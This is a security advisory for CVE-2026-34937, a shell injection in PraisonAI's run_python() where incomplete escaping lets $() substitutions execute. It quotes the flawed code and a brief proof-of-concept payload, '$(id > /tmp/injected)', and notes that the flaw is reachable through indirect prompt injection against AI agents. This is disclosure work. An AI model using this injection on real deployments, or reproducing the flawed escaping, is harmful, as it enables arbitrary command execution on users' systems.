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Shell Injection in run_python() via Unescaped $() Substitution -- PraisonAI

High
MervinPraison published GHSA-w37c-qqfp-c67f Mar 31, 2026

Package

pip praisonaiagents (pip)

Affected versions

<= 1.5.89

Patched versions

>= 1.5.90

Description

Summary

run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.

Details

execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)

# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):

# hop -- incomplete escaping, $ and () not handled
    escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
    command = f'{python_cmd} -c "{escaped_code}"'

# sink -- shell=True expands $() before python3 runs
    return execute_command(command=command, cwd=cwd, timeout=timeout)
    # execute_command calls subprocess.run(command, shell=True, ...)

PoC

# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python

result = run_python(code='$(id > /tmp/injected)')
print(result)

# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-34937

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits